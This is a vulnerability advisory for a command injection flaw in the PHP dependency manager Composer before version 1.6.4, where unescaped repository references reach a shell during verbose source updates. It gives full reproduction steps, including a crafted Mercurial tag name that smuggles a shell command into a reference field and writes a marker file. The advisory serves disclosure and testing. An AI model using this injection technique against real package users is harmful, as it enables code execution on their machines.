Author: Michael Hanselmann. Updated: April 16, 2018

Composer is a dependency manager for PHP. Before version 1.6.4 its Mercurial, Fossil, Subversion and Git source downloaders did not properly escape arguments when extracting commit logs (HgDownloader::getCommitLogs, FossilDownloader::getCommitLogs, SvnDownloader::getCommitLogs and GitDownloader::getCommitLogs). References from repositories are passed unescaped to a shell. At least for Mercurial it's possible to engineer a package repository such that a tag name can be interpreted as a valid shell command and is executed on the client. The affected functions are invoked when a dependency is updated from source in verbose mode.

The upstream developers were quick to respond to the initial report and pushed a fix within less than 3 days, discovering one additional case the author didn't notice at first. An announced release, Composer 1.6.4, was made on April 13, 2018, less than 4 days after the initial report.

Reproduction environment

Reproduction

Set up an empty package in a repository:

$ hg init /tmp/poclib

$ cat > /tmp/poclib/.hg/hgrc <<'EOF'
[ui]
username = Jane Doe <jdoe@example.com>
EOF

$ cat > /tmp/poclib/composer.json <<'EOF'
{
  "name": "poclib",
  "description": "poclib",
  "license": "BSD-3-Clause",
  "version": "0.1",
  "minimum-stability": "dev"
}
EOF

$ hg -R /tmp/poclib/ commit -m Changes -A
$ hg -R /tmp/poclib/ tag v0.1

# Use a separate shell
$ hg -R /tmp/poclib/ serve --port 8700

Set up a Composer package repository:

$ mkdir /tmp/repo

$ cat > /tmp/repo/packages.json <<'EOF'
{
  "packages": {
    "poclib": {
      "0.1": {
        "name": "poclib",
        "version": "0.1",
        "source": {
          "type": "hg",
          "url": "http://localhost:8700",
          "reference": "v0.1"
        }
      }
    }
  }
}
EOF

# Use a separate shell
$ cd /tmp/repo && python3 -m http.server

Set up a project using the PoC library. Disabling secure HTTP is required because the local test servers aren't using TLS.

$ mkdir -p /tmp/project

$ cat > /tmp/project/composer.json <<'EOF'
{
  "name": "project",
  "description": "project",
  "minimum-stability": "dev",
  "config": {
    "secure-http": false
  },
  "require": {
    "poclib": ">=0.1"
  },
  "repositories": [
    {
      "type": "composer",
      "url": "http://localhost:8000/packages.json"
    }
  ]
}
EOF

$ composer --working-dir=/tmp/project/ update -v --prefer-source

So far so good. Now assume that upstream goes rogue.

$ tagname="v0.3;echo\${IFS}PoC\${IFS}$(date +%s)>>/tmp/poc.txt;echo\${IFS}" && \
  hg -R /tmp/poclib/ tag "$tagname" && \
  cat > /tmp/repo/packages.json <<EOF
{
  "packages": {
    "poclib": {
      "0.2": {
        "name": "poclib",
        "version": "0.2",
        "source": {
          "type": "hg",
          "url": "http://localhost:8700",
          "reference": "${tagname}"
        }
      }
    }
  }
}
EOF

Update project dependency after ensuring that the PoC file doesn't exist:

$ rm -vf /tmp/poc.txt && \
  composer --working-dir=/tmp/project/ update -v --prefer-source poclib

Once finished the PoC code will have been executed:

$ cat /tmp/poc.txt
PoC 1523313974